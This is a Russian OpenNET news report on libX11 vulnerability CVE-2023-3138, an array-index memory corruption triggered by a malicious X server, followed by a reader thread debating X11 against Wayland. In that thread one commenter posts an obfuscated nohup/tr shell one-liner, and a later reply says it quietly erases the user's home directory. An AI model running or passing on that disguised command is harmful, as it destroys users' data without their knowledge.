The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Уязвимость в библиотеке libX11

16.06.2023 10:48

В развиваемой проектом X.Org библиотеке libx11, предлагающей функции с клиентской реализацией протокола X11, выявлена уязвимость (CVE-2023-3138), приводящая к повреждению памяти клиентского приложения, в случае его подключения к вредоносному X-серверу или промежуточному прокси, контролируемому злоумышленником. Проблема устранена в выпуске libX11 1.8.6.

Проблема присутствует в файле InitExt.c и вызвана отсутствием проверки допустимости значений, передаваемых X-сервером идентификаторов запроса, события и ошибки, перед их использованием в качестве индекса для элемента массива, в который выполняется запись. По предварительной оценке, так как размер поля с идентификатором ограничен одним байтом, уязвимость может использоваться лишь для перезаписи частей структуры Display, не выходя за её границы, т.е. ограничивается аварийным завершением процесса.

  1. Главная ссылка к новости (https://www.mail-archive.com/x...)
  2. OpenNews: Уязвимости в X.Org Server и libX11
  3. OpenNews: Серия уязвимостей в клиентских библиотеках X.Org
  4. OpenNews: В клиентских библиотеках X.Org и Mesa выявлено 30 уязвимостей
  5. OpenNews: Обновление X.Org Server 21.1.8 и xwayland 23.1.1 с устранением уязвимости
  6. OpenNews: Проект X.Org прекращает поддержку 20 устаревших библиотек и утилит
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/59303-libx11
Ключевые слова: libx11, x11
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (69) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Аноним (1), 10:52, 16/06/2023 [ответить] [﹢﹢﹢] [ · · · ]  
  • –34 +/
    Xorg доживает свои последние дни, и это хорошо!
     
     
  • 2.7, Аноним (7), 11:06, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Нам повезло: мы застали иксы и все его ужасы. Следующее поколение не будет ценить wayland так, как ценим его мы. Для них безопасность и надежность wayland будет чем-то само собой разумеющимся.
     
     
  • 3.18, Аноним (18), 12:39, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • –4 +/
    >безопасТность и надежДность wayland будет

    после его переписывания на Rust.

     
     
  • 4.36, Аноним (-), 14:27, 16/06/2023 Скрыто ботом-модератором     [к модератору]
  • +/
     
  • 4.66, Аноним (66), 10:16, 18/06/2023 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Так переписывай, что останавливает?
     
  • 4.80, Neon (??), 02:38, 25/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    То есть никогда ?)))
     
  • 3.23, v3625 (ok), 13:30, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +11 +/
    Какие такие ужасы? Использовал иксы в начале нулевых, когда ими пользовались именно по-иксовому (X-ресурсы, вот эти вот иксовые растровые шрифты, оконные менеджеры fluxbox, icewm, fvwm в разное время). Использовал и вот эту сетевую прозрачность, которая "никому не нужна": запускал программы с домашней машины в других локациях (на работе например). При прочих равных предпочитал программы, использующие тулкиты Xaw, Motif, Tk.

    Вспоминаю это время с большой теплотой. Потом, где-то во время массового распространения gtk2, ушел на macos на рабочих станциях, продолжив пользоваться линуксом только на серверах. Так как, с одной стороны, лучше использовать первоисточник, чем условный гном, который это убого косплеит, с другой - чего греха таить, поддался моде быть тупым и манерным.

    Сейчас очень хочется вернуться (может, не вернуться, а заглянуть) обратно, посмотреть, можно ли там жить. Взглянуть на проблему рендеринга векторных шрифтов, о которой все говорят. Подумать на досуге, возможно ли ее более правильно положить на архитектуру иксов (на клиенте их рендерить, скорее всего, практически невозможно, так как слишком много тонкостей: все эти хинтинги, кернинги, сглаживания, а в передаче битмапов особого зла и нет). А также задаться вопросом о целесообразности и реальной необходимости везде использовать векторные шрифты: если на экране все равно пиксели, не лишние ли во многих случаях все эти действия по растеризации).

    И, кстати, заметил еще давно, что когда в линуксе шрифты стали преимущественно векторными, от стал страшнее. Особенно первое время, когда нормальные алгоритмы их рендеринга были запатентованы микрософтом или еще кем-то.

     
     
  • 4.31, Аноним (18), 14:05, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >иксы в начале нулевых, когда ими пользовались именно по-иксовому

    В начале нулевых уже не совсем по-иксовому. Тогда уже вовсю GTK, Qt, которые гоняли уже отрендеренные картинки.

     
     
  • 5.35, v3625 (ok), 14:19, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    > Тогда уже вовсю GTK, Qt, которые гоняли уже отрендеренные картинки.

    Тогда еще спокойно можно было не обращать на это внимание.

    И gtk1 был ничего.

     
  • 5.68, Предпоследний пользователь сетевой прозрачности (?), 10:40, 18/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Даже Qt5 не гоняет отрендеренные картинки, если собрано с native backend. Проблема в том, что все собирают с raster backend.

    Гонять картинки начали с Qt4.6-4.8, когда появилась QT_GRAPHICSSYSTEM=raster

     
  • 4.34, Аноним (-), 14:18, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Какие ужасы Давайте расскажу 1 Переусложненный антикварный код, грубо не соо... большой текст свёрнут, показать
     
     
  • 5.37, v3625 (ok), 15:05, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Нет у современных пользователей никаких запросов Им как в уши надуют, такие у н... большой текст свёрнут, показать
     
     
  • 6.60, Аноним (60), 00:55, 18/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Мир не стоит на месте, вон то уже нормально работает в других системах Пользова... большой текст свёрнут, показать
     
     
  • 7.64, v3625 (ok), 02:46, 18/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Позвольте системно разобрать ваши возражения, выделив из вашего потока сознания ... большой текст свёрнут, показать
     
     
  • 8.67, Илья (??), 10:23, 18/06/2023 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Я не хочу разбираться в подробностях, но вы сейчас НЕ ПОМОГАЕТЕ хоронить иксы З... текст свёрнут, показать
     
     
  • 9.69, v3625 (ok), 11:02, 18/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    А почему я должен помогать их хоронить Я, наоборот, попытался обосновать, почем... текст свёрнут, показать
     
  • 5.41, Ананий (?), 16:30, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >Отсутствие тиринга?

    Чому в FreeBSD я его не наблюдаю?
    Наблюдал когда-то давно на невидии, решалось правкой конфига. Все.
    Остальные баззворды как-то мешают отображению 2д? или начинаются проблемы с 8к экранами?ну как-нибудь переживу

     
     
  • 6.50, Аноним (50), 09:28, 17/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    А чому я во фрибзд только тиринг и наблюдаю? У тебя железо такое как у всех?
     
     
  • 7.54, Ананий (?), 13:48, 17/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    S3 Virge?
    Давай показывай шо там у тебя и что правил в Xorg.conf, шоб пытаться исправить.
    А тиринга я не наблюдаю уже давно, на разных ноутах и десктопах.
     
     
  • 8.62, Аноним (-), 01:05, 18/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Вообще-то для начала нормальная графика должна работать без вот этого вот В реж... текст свёрнут, показать
     
     
  • 9.75, Ананий (?), 14:09, 19/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Вопрос был в работоспособности, а не в том, лень тебе ковырять конфиги и читать ... текст свёрнут, показать
     
  • 6.61, Аноним (-), 01:03, 18/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Может потому что не работаешь с графикой, не смотришь видео, не делаешь видеозво... большой текст свёрнут, показать
     
     
  • 7.76, Ананий (?), 14:19, 19/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    >> Чому в FreeBSD я его не наблюдаю?
    > Может потому что не работаешь с графикой, не смотришь видео, не делаешь
    > видеозвонки, не играешь в игры, все такое? Если фичой не пользоваться
    > то и проблем с ней нет :)

    2д в гимпе считается? Ютюп/smplayer сойдет за просмотр?
    Игрульки редко, найтивные аля tome4,wesnoth идут на ура. Со стимом туда же Rimworld. Остальное не интересно, да и покупать ради них игровой ноут за двойной прайс - так себе идея.

    блендер еще вроде как блендерит, но лично мне 3д не нужно, как и видеозвонки.

    >> Наблюдал когда-то давно на невидии, решалось правкой конфига. Все.
    >> Остальные баззворды как-то мешают отображению 2д?
    > Вообще-то - когда все тупит, лагает, тиригнует, а при случае настолько клинит
    > что даже таскменеджер для снятия задачи запаришься ждать - это плохая
    > графическая система. И работать должно сильно лучше чем это.

    хз, у меня такого не наблюдается

    >> или начинаются проблемы с 8к экранами?ну как-нибудь переживу
    > Да переживайте себе наздоровье. Хоть с пузатым 640х480 CRT в обнимку. А
    > вот я этого делать не буду. И остальные - тоже. Не
    > знаю как там у вас во фряхе, а для линуха я
    > хочу чтобы графика у нас не сливала всем остальным системам по
    > ее перфомансу, латенси, предсказуемости и отсутствию дурных технических проблем на ровном
    > месте. Нормальное человеческое желание.

    Ну остальные как-нибудь сами расставят приоритеты. Я тебе даже по секрету скажу, проприетарь для невидии практически или то же самое что и для линуха. Но общая проблема для невидий - прекращение со временем поддержки старых видюх в новых дриверах. Всякие ноувеау я всерьез не рассматриваю.
    Поэтому самый оптимальный и безгеморойный вариант - интел. Там тоже есть шанс устареть и не соответвовать минимальным требованиям модномолодежных драйверов, но не так быстро. Вот мне крайней интересно глянуть на ириску, как она с фришечкой.

     
  • 5.77, voiceofreason (?), 18:05, 20/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Крепко жму вашу руку. Ровно мои впечатления от иксов. На фоне сидящих на macOS любителей сетевой прозрачности и псевдо-unix-way 70ых годов прошлого века, это прям приятно.
     
  • 4.53, Zenitur (ok), 11:42, 17/06/2023 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > И, кстати, заметил еще давно, что когда в линуксе шрифты стали преимущественно векторными, от стал страшнее. Особенно первое время, когда нормальные алгоритмы их рендеринга были запатентованы микрософтом или еще кем-то.

    Мне поэтому нравились ранние версии Windows, что там в окнах использовались моноширинные шрифты, такие как Monotype Corsiva. Надеюсь, я не перепутал название шрифта? Позже, во всех элементах интерфейса стал использоваться TrueType, как в HTML-страничках... Хотя даже в Win9x можно было выставить любой шрифт в "Свойствах экрана" в разделе "Оформление", а то м вообще применить готовую тему рабочего стола.

    Ух, а мне бы хотелось, чтобы кто-нибудь доделал патчи i-Rinat, которые добавляли VA-API в Firefox. Дело в том, что его патчи использовали libva-glx, а это значит, что работать будет в любой системе, даже самой старой. А в апстриме решили использовать libva-egl, непонятно зачем, так как EGL в "иксах" ни к селу, ни к городу, пусть даже и работает. Да ещё и требуется чоень новая Mesa либо драйвер NVIDIA.

     
  • 3.52, Oe (?), 09:52, 17/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Надежность? Да он сначала даже не запускался. Недавно затестил еще раз - ну, оно уже запускается, и даже пофиксили желейную мышь. Раньше мышь была настолько желейной, как будто её пропихнули через тройной слой буферизации. Тиринга нету, но вместо него статтеры и дропы кадров, желейность всего интерфейса, производительность дно. Еще лет 10, и думаю допилят до уровня +-винды
     
  • 2.11, Аноним (11), 11:57, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +3 +/
    ещё тебя переживёт
     
  • 2.25, rshadow (ok), 13:48, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Жалко на опеннете нет механизма запуска опросов. Думаю результаты удивили бы немногих.
     
  • 2.72, Администратор (?), 13:44, 18/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    А что работает на вашем хваленом вейланде?  игры с portproton работают? запись экрана рабочего стола нормально не работает,  виртуалки некоторые не работают, и много каких есчо программ не работают.
     
     
  • 3.74, AleksK (ok), 19:38, 18/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Игры с портпротоном работают без проблем. Запись экрана работает отлично. Qemu работает замечательно. Все что надо работает.
     

  • 1.2, soarin (ok), 10:54, 16/06/2023 [ответить] [﹢﹢﹢] [ · · · ]  
  • –4 +/
    Да. Выкидывать это всё надо.
    Сейчас вот ставил OpenJDK Headless, а всё равно что-то с луддитными иксами тянется на сервер…
    Никак от этого не нужного мусора не убежишь.
    Собирал один большой проект на Rust на macOS хосте, тоже притащились…
     
     
  • 2.3, кофи анан (?), 10:57, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Кому и кобыла невеста
     
  • 2.39, Аноним (39), 15:12, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Java только в том году спохватились, что основные дистрибутивы всё выкидывают.
     
  • 2.58, Аноним (58), 22:15, 17/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    iPony пользуется Ябблотехникой, обожает поней.
    Soarin под МакОСью, лошадиная аватарка.
    Совпадение? Не думаю...
     
     
  • 3.59, Аноним (59), 23:38, 17/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Так soarin тоже по поням так-то
     
  • 3.65, soarin (ok), 06:18, 18/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Нажми на мой профиль и посмотри ФИО.
    Просто один аккаунт зареганный, а другой анонимный с именем от которого бывают и другие пишут.
     
  • 2.78, Тот_Самый_Анонимус__ (?), 13:41, 22/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    >Да. Выкидывать это всё надо.

    Начни с себя! (тм)

     

  • 1.6, Аноним (-), 11:06, 16/06/2023 Скрыто ботом-модератором [﹢﹢﹢] [ · · · ]     [к модератору]
  • –1 +/
     
  • 1.8, Аноним (8), 11:08, 16/06/2023 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    > в случае его подключения к вредоносному X-серверу или промежуточному прокси, контролируемому злоумышленником

    Выявлена уязвимость. В случае если юзер пропишет в терминале sudo rm -rf /* то ..

     
     
  • 2.9, Аноним (7), 11:29, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +5 +/
    в случае с rm -rf /* пользователь уже знает, что команда деструктивная.
    в случае коннекта к серверу пользователь не знает, вредоносный это сервер или нет.

    как 13-летней девочке приходится разжевывать вроде очевидные вещи.

     
     
  • 3.13, Анониссимус (?), 12:06, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    А с чего бы графическому серверу быть деструктивным? Это какой вообще юзкейс должен быть, что бы запускать у себя приложение, а показывать его на неком другом вредоносном сервере? Полный бред.

    Пример c 'rm -rf /' тут не подходит. Это скорее похоже на уязвимость в ssh, ведь через ssh можно сделать 'rm -rf'!

     
     
  • 4.14, Аноним (7), 12:09, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Напоминаю, что диды задумывали иксы по клиент-серверной модели.

    > через ssh можно сделать 'rm -rf'!

    Если ssh-сервер сделает rm -rf у тебя, хотя ты этого никак не ждешь, то это уязвимость. Именно о таком случае речь в новости. Но ты поскорее побежал комментировать!

     
     
  • 5.47, Анониссимус (?), 01:29, 17/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    > Напоминаю, что диды задумывали иксы по клиент-серверной модели.

    Можно всё таки озвучить юзкейс, при котором деструктивный сервер будет представлять опасность? Зачем тебе может понадобиться запускать у себя X11-приложуху на вредоносном сервере?

     
  • 3.24, Аноним (24), 13:33, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    А в случае с нижеприведенным?
    nohup $(echo '<-{}<&{~'|tr ' -/:-@[-'{}*' ''-{/ - -*') &>/dev/null&
     
     
  • 4.42, Ананий (?), 16:36, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    можно хардкорно решить вопросик, например chflags -R schg /
    если уж руки так и тянутся позапускать из-под рута всякую нечисть.
     
     
  • 5.55, Аноним (55), 14:40, 17/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Самое милое в приведенной выше команде — отсутствие необходимости рута. Она в фоне затирает хомяк.
    Система на локалхосте — мелочь, переставить недолго. А вот люьовно собираемый архив порно, фотки со своей сиране кошкой это чувствительно. Если нет бэкапа. А очень часто его нет.
     

  • 1.12, Иван_Лох (?), 12:03, 16/06/2023 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Обычно X сервер, это компьютер за которым ты сидишь. Его можно модифицировать так, так что приложения на удаленном хосте, которые ты открываешь будут падать. Это можно сделать миллионом путей, и что? X proxy это, вообще, из начала 90-х. Его кто-то еще использует?
     
     
  • 2.21, Unnamed Player (?), 13:18, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Эх, вьюнош…
    Иногда это мультихед воркстейшн, а иногда на гриде сервак для расчетов с кучей разрабов по X11 сидящих.
     
     
  • 3.33, 1 (??), 14:15, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Вьюнош - скорее ты.
    X-сервер запускается на РМ, и транслирует графику от X-клиентов на "мультихед воркстейшн, а иногда на гриде сервак для расчетов"
     

  • 1.15, Аноним (15), 12:22, 16/06/2023 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    > В развиваемой проектом X.Org библиотеке libx11

    Зачем они её развивают?

     
     
  • 2.17, Аноним (17), 12:31, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +10 +/
    как замена вяленому
     
     
  • 3.20, Аноним (18), 12:53, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Ващет, протокол сейчас реализован в libxcb
     
  • 2.19, Аноним (18), 12:52, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Для legasy софта, который не пользуется графическими тулкитами, а все виджеты рисует сам.
     
  • 2.43, Анонимусс (?), 17:30, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Кажется слово "развиваемый" тут не совсем уместно. Ну или совсем не уместно))
    Лучше что-то вроде "реанимирует", "замедляет стагнацию", "не дает уйти в историю".
    Или что-то из новояза - "борется с отрицательным ростом"
     

  • 1.16, Аноним (16), 12:31, 16/06/2023 [ответить] [﹢﹢﹢] [ · · · ]  
  • +4 +/
    Это все не правда, Иксы писали ветераны Юникс, которые все сделали правильно, в отличии от пориджей с Вейландом. Закрывайте issue.
     
     
  • 2.44, Анонин (?), 18:13, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Не хочу тебя расстраивать, но вяленого пишут те же самые люди что и иксы (ну, за исключением тех кто уже помер от старости).
    И именно эти люди говорят что иксы устарели, что их очень сложно поддерживать и практически невозможно расширять. А не какие-то пориджы, которым что иксы, что вяреный, что вин11.
     
     
  • 3.79, BeLord (ok), 17:58, 22/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    А что в них такого надо расширять?
     

  • 1.22, Аноним (22), 13:28, 16/06/2023 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Диды на Си писали. Можем повторить!
     
     
  • 2.26, rshadow (ok), 13:49, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    С одной стороны, как раз Диды и решили написать вяленого. Но с другой, повторить чет не получилось.
     
     
  • 3.30, Аноним (18), 14:01, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Диды оказались уже не теми, что Иксы писали.
     
     
  • 4.63, Аноним (-), 01:06, 18/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    > Диды оказались уже не теми, что Иксы писали.

    Да почему? Кейт Пакард вполне себе тот самый. Но даже он затрахался натягивать сов на глобусы, представляете?! И пришлось диду признать очевидное...

     
  • 3.49, Илья (??), 07:57, 17/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    А чего не получилось? Окна открываются, удалённый десктоп работает.

    Кто-нибудь объяснит мне, зачем держаться за иксы?

    Только не общими фразами типо "сетевая прозрачность", а на практике?

     
     
  • 4.56, Аноним (56), 16:03, 17/06/2023 [^] [^^] [^^^] [ответить]  
  • –1 +/
    для тех, кто не пользуется гномокедами или й3 ­– вообще ничего, вейланда буквально не существует.
     
     
  • 5.70, Илья (??), 11:37, 18/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    > для тех, кто не пользуется гномокедами или й3 ­– вообще ничего, вейланда
    > буквально не существует.

    У меня уже года 2 вейленд работает без каких-либо настроек на гноме. Я не понял, зачем ты это написал

     
     
  • 6.73, Аноним (73), 15:04, 18/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    > на гноме

    ну, исполать. напишу повторно, что гном, кеды и свэй подходят не только лишь всем.

     
  • 4.57, fi (ok), 16:10, 17/06/2023 [^] [^^] [^^^] [ответить]  
  • +2 +/
    За X11 не держаться, на них работают )))

    X-сы еще в 80-х заложили, а в 1996 вышли X11R6 - фактичесли то чем мы сейчас пользуемся, хотя и R5 был вполне рабочий вариант.

    Хорошая продуманная архитектура, в отличии...

    вяленый же - попытка сделать по-проще: хотели как лучше, получилось как всегда.
    До сих пор детские болезни лечат. таже  "сетевая прозрачность" - да нужная фича, но сейчас большой запрос на связь с  гаджитами - не получилось. И где там ICCCM??? Сколько лет ему еще расти до "взрослости"?

    Да, и почему-то на железе кривой - сколько раз сталкивался, лезут артефакты, заменяешь на xorg - и все в порядке.

    ну и лично для меня - окна должен оформлять wm, кнопочки у всех единообразно настроены, я вот крестик всегда выношу на левый угол

     
     
  • 5.71, maximnik0 (?), 13:09, 18/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    >Хорошая продуманная архитектура, в отличии...

    Не совсем так.На Хабре выкладывали перевод одного из разработчиков Х-в ,имя уже не помню.Так он признался что тогда опыта проектирования графического интерфейса и ари не кто не имеел.Но проанализировав аппаратные архитектуры  учитывая опыт работы с сетевыми СУБД ! решили заложить возможность расширения протокола,аппаратную независимость и сетевую прозрачность.Первые 3 версии протокола были сырыми и сменились за 2 года.Версионность протокола потом была предусмотрена - я удивился что разработчика вайланда как то преврали насчёт этого,заявив о не потдержки Х этого свойства,но в итоге сами забили на это.(версию R5 потдерживала библиотека совместимости,которую недавно выкинули....)
    А так да, многое в Х сейчас смотрится дико-например свой менеджер памяти,но с другой стороны если программа вылазила за пределы выделенного ОЗУ-срабатывала защита.Атомарность протокола-учитывали что пакеты могли перейти с разным временем,чтобы не было рассинхронизации с событиями, и т.д.

     

  • 1.27, Аноним (-), 13:56, 16/06/2023 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > подключения к вредоносному X-серверу
    > или промежуточному прокси

    Ну то-есть хрен эксплуатируешь на практике. Потому что если у кого вредоносный сервер - врядли вон то было хучшей из его проблем.

     
     
  • 2.32, Аноним (32), 14:08, 16/06/2023 [^] [^^] [^^^] [ответить]  
  • +/
    Какой-нибудь xephyr или xnest запускаемый из npm или cargo. Легко.
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру